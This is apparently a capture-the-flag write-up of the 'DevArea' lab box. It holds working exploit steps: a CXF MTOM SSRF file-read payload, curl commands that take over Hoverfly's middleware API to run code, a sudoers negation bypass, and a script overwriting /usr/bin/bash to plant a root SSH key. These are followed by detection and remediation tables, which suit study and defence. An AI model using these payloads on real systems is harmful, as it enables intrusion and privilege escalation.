Overview
DevArea is a medium Linux box running Ubuntu 24.04 with a multi-service
architecture: an Apache CXF SOAP endpoint, a Hoverfly testing proxy, and a
Flask monitoring application. The attack chain exploits a critical SSRF in
Apache CXF’s MTOM processing (CVE-2022-46364) to read systemd unit files
containing plaintext credentials. Those credentials unlock Hoverfly’s middleware
API, which provides arbitrary code execution. Privilege escalation combines two
weaknesses: a world-writable /usr/bin/bash and a sudoers rule using negation
(!) that is trivially bypassed with an extra argument.
The box rewards source code analysis. The JAR file available via anonymous FTP
contains the exact CXF version, and the Hoverfly systemd unit exposes
credentials in the ExecStart line. Every step of the chain is discoverable
through careful file reading.
Reconnaissance
I scan the top ports:
nmap -sC -sV -oA scans/devarea 10.129.18.140
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 21 | FTP | vsftpd 3.0.5 | Anonymous login permitted |
| 22 | SSH | OpenSSH 9.6p1 Ubuntu | Post-exploitation access |
| 80 | HTTP | Apache httpd 2.4.58 | Static site, redirects to devarea.htb |
| 8080 | HTTP | Jetty 9.4.27 | Returns 404 |
| 8888 | HTTP | Go net/http server | Hoverfly admin dashboard |
Five services. FTP allows anonymous login. Port 8080 runs Jetty (the container for Java web services). Port 8888 serves the Hoverfly dashboard, which requires authentication.
Attack Surface Analysis
FTP: application JAR
Anonymous FTP yields employee-service.jar (6.4 MB) from the pub/ directory.
Decompilation with jadx reveals:
ServerStarterpublishes a JAX-WS endpoint athttp://0.0.0.0:8080/employeeserviceEmployeeServiceImplexposes asubmitReportoperation- Dependencies include Apache CXF 3.2.14 with the Aegis databinding module
CXF 3.2.14 falls within the vulnerable range for CVE-2022-46364. The WSDL endpoint confirms the service is live:
curl http://devarea.htb:8080/employeeservice?wsdl
Hoverfly dashboard
Port 8888 serves Hoverfly’s admin dashboard. The API requires JWT authentication. Without credentials, this is inaccessible.
Vulnerability Analysis
CVE-2022-46364: MTOM XOP SSRF
| Attribute | Value |
|---|---|
| CVE | CVE-2022-46364 |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-918 (Server-Side Request Forgery) |
| Root cause | CXF resolves xop:Include href URIs server-side during MTOM attachment processing |
| Affected | CXF 3.2.x (EOL), fixed in 3.4.10 and 3.5.5 |
MTOM (Message Transmission Optimisation Mechanism) is designed for efficient
binary data transfer in SOAP. XOP (XML-binary Optimised Packaging) replaces
inline data with xop:Include references. CXF’s Aegis databinding resolves
these references to populate Java objects. The resolution logic follows
arbitrary URIs, including file://, allowing unauthenticated file reads as
the process user.
The fix restricts xop:Include URI resolution to cid: (Content-ID)
references only, blocking file:// and external HTTP URIs. CXF 3.2.x was
end-of-life and never received the fix.
Exploitation
Step 1: SSRF file read
The MTOM request requires multipart MIME encoding with an xop:Include
element targeting the desired file:
<content>
<xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include"
href="file:///etc/passwd"/>
</content>
CXF returns the file content base64-encoded in a MIME attachment. The response
confirms the service runs as dev_ryan (uid 1000).
Step 2: credential extraction from systemd unit
Reading /etc/systemd/system/hoverfly.service reveals:
[Service]
ExecStart=/usr/local/bin/hoverfly -webserver -pp 8500 -ap 8888 \
-username admin -password O7IJ27MyyXiU
User=hoverfly
Credentials in the ExecStart line: admin:O7IJ27MyyXiU.
The employee-service unit file reveals a InaccessiblePaths directive blocking
direct reads of flag files. The box designer anticipated SSRF flag reads and
placed this restriction, but other sensitive files remain accessible.
Step 3: Hoverfly middleware RCE
With valid credentials, I obtain a JWT from Hoverfly’s token endpoint:
curl -s -X POST http://devarea.htb:8888/api/token-auth \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"O7IJ27MyyXiU"}'
Hoverfly supports a middleware feature that executes a script for each proxied
request. I set the middleware to a Python script that writes an SSH public key
to dev_ryan’s home directory:
curl -s -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{
"binary": "python3",
"script": "import sys,os,subprocess\ndata=sys.stdin.read()\nos.fork() or subprocess.run([\"sh\",\"-c\",\"mkdir -p /home/dev_ryan/.ssh && echo PUBKEY >> /home/dev_ryan/.ssh/authorized_keys\"])\nprint(data)"
}'
Triggering the middleware with any proxied request:
curl -x http://devarea.htb:8500 http://example.com
SSH as dev_ryan succeeds. User flag captured.
Step 4: privilege escalation
sudo -l reveals:
(root) NOPASSWD: /opt/syswatch/syswatch.sh,
!/opt/syswatch/syswatch.sh web-stop,
!/opt/syswatch/syswatch.sh web-restart
The ! negation rules match exact argument strings. Adding any extra argument
produces a different command string that does not match the deny rule:
sudo /opt/syswatch/syswatch.sh web-stop # denied
sudo /opt/syswatch/syswatch.sh web-stop test # allowed
Separately, /usr/bin/bash is world-writable (mode 0777). Overwriting it
requires no running process to hold the binary mapped. A stale bash session
held the binary locked. The solution: kill the stale process, then replace
the current shell with dash via exec /usr/bin/dash to free the mmap.
With /usr/bin/bash freed, I install a wrapper script:
cat > /tmp/wrapper.sh << 'EOF'
#!/tmp/bash.real
if [ "$(id -u)" = "0" ]; then
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAA...PUBKEY" >> /root/.ssh/authorized_keys
cp /tmp/bash.real /usr/bin/bash
chmod 777 /usr/bin/bash
fi
exec /tmp/bash.real "$@"
EOF
cp /tmp/wrapper.sh /usr/bin/bash
The wrapper checks the effective UID. When invoked as root via sudo, it writes
the SSH key to /root/.ssh/authorized_keys and restores the real binary.
sudo /opt/syswatch/syswatch.sh --version
ssh -i id_rsa [email protected]
Root flag captured.
Post-Exploitation
The Flask SysWatch application at localhost:7777 was explored post-shell. The
SECRET_KEY in /etc/syswatch.env allowed session cookie forgery for admin
access. The web GUI had download endpoints and plugin management, but path
traversal and command injection were blocked by input validation. This was an
intentional dead end for the privilege escalation path.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1190 | MTOM requests with file:// in xop:Include href |
| Credential access | T1552.001 | Audit reads of systemd unit files via non-standard processes |
| Execution | T1059.006 | Python processes spawned by Hoverfly |
| Persistence | T1098.004 | SSH authorized_keys modifications |
| Privilege escalation | T1548.003 | sudo invocations of syswatch.sh with unexpected arguments |
| Defence evasion | T1574.007 | Modifications to /usr/bin/bash |
Host-level: File integrity monitoring on system binaries (/usr/bin/,
/bin/, /sbin/) would immediately detect the bash overwrite. Any change to
a binary in these directories warrants an incident response.
Application-level: Hoverfly middleware configuration changes should be logged and alerted. The middleware API allows arbitrary code execution by design; in any environment where this is not operationally required, disable it.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Upgrade Apache CXF to 3.5.5+ or 3.4.10+ | Medium | Critical |
| P0 | Fix /usr/bin/bash permissions to 755 | Low | Critical |
| P1 | Move credentials out of systemd ExecStart lines | Low | High |
| P1 | Replace sudoers negation with explicit whitelist | Low | High |
| P1 | Restrict Hoverfly middleware API to trusted IPs | Medium | High |
| P2 | Remove anonymous FTP access | Low | Medium |
| P2 | Protect Flask SECRET_KEY with strict file perms | Low | Medium |
| P3 | Disable Hoverfly middleware if not required | Low | Medium |
The world-writable /usr/bin/bash is catastrophic independently of everything
else. No user other than root should have write access to any binary in system
directories. This single misconfiguration enables privilege escalation by any
local user.
The sudoers negation bypass is documented in sudo’s own manual page. The !
operator matches exact command strings. If you need to restrict specific
subcommands, whitelist the allowed set rather than blacklisting the denied set.
Key Takeaways
-
Systemd unit files are credential stores in disguise. Credentials in
ExecStartlines are readable by any process with filesystem access, including SSRF primitives. UseEnvironmentFilewith restricted permissions instead. -
Sudoers
!negation is not a security boundary. Extra arguments produce distinct command strings that bypass exact-match deny rules. The sudo documentation explicitly warns about this. Whitelist, do not blacklist. -
ETXTBSY is a process problem, not a permissions problem. “Text file busy” means the kernel prevents modification of a binary that is currently mmap’d. The fix is identifying which process holds the binary and either killing it or replacing the current process via
exec. -
Middleware APIs are authenticated RCE endpoints. Testing tools like Hoverfly, WireMock, and Mockoon frequently have configuration APIs that execute arbitrary code. Enumerate non-standard ports for proxy and simulation tooling.
-
InaccessiblePathsreveals what matters. The systemd directive blocking flag file reads via SSRF immediately confirmed which files were sensitive and that other files were freely readable. Defensive controls that block specific paths broadcast the existence of those paths.